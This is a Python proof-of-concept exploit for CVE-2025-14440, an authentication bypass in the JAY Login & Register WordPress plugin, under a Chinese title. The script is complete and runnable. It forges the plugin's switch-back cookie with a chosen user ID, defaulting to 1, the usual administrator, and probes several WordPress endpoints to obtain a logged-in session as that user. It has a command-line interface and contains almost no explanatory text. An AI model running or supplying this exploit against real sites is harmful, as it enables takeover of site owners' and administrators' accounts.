CVE-2025-14440 JAY Login & Register插件认证绕过漏洞

import requests import argparse def exploit_cve_2025_14440(target_url, target_user_id): """ CVE-2025-14440 PoC - JAY Login & Register Authentication Bypass This exploits an authentication bypass vulnerability in the JAY Login & Register plugin. The vulnerability allows attackers to log in as any user by manipulating the 'jay_login_register_process_switch_back' cookie with a target user ID. """ # Target WordPress site URL target = target_url.rstrip('/') # Prepare malicious cookie with target user ID cookies = { 'jay_login_register_process_switch_back': str(target_user_id) } # Prepare request to trigger the vulnerable function # The vulnerable endpoint is typically the login processing page endpoints = [ '/wp-login.php', '/wp-admin/', '/', '/wp-json/jay-login-register/v1/user-switch-back' ] print(f"[*] Targeting: {target}") print(f"[*] Target User ID: {target_user_id}") print(f"[*] Attempting authentication bypass...\n") for endpoint in endpoints: try: url = f"{target}{endpoint}" response = requests.get(url, cookies=cookies, timeout=10, allow_redirects=False) # Check for successful authentication indicators if response.status_code in [200, 302] or 'wordpress_logged_in' in str(response.cookies): print(f"[+] Potential success at: {url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Check cookies for 'wordpress_logged_in_' session cookie") else: print(f"[-] Endpoint {endpoint}: Status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {str(e)}") print("\n[*] Note: After successful exploitation, verify login by accessing wp-admin") print("[*] The attacker can now perform actions as the target user (e.g., administrator)") if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-14440 PoC') parser.add_argument('-u', '--url', required=True, help='Target WordPress URL') parser.add_argument('-i', '--user-id', type=int, default=1, help='Target user ID (default: 1, usually admin)') args = parser.parse_args() exploit_cve_2025_14440(args.url, args.user_id)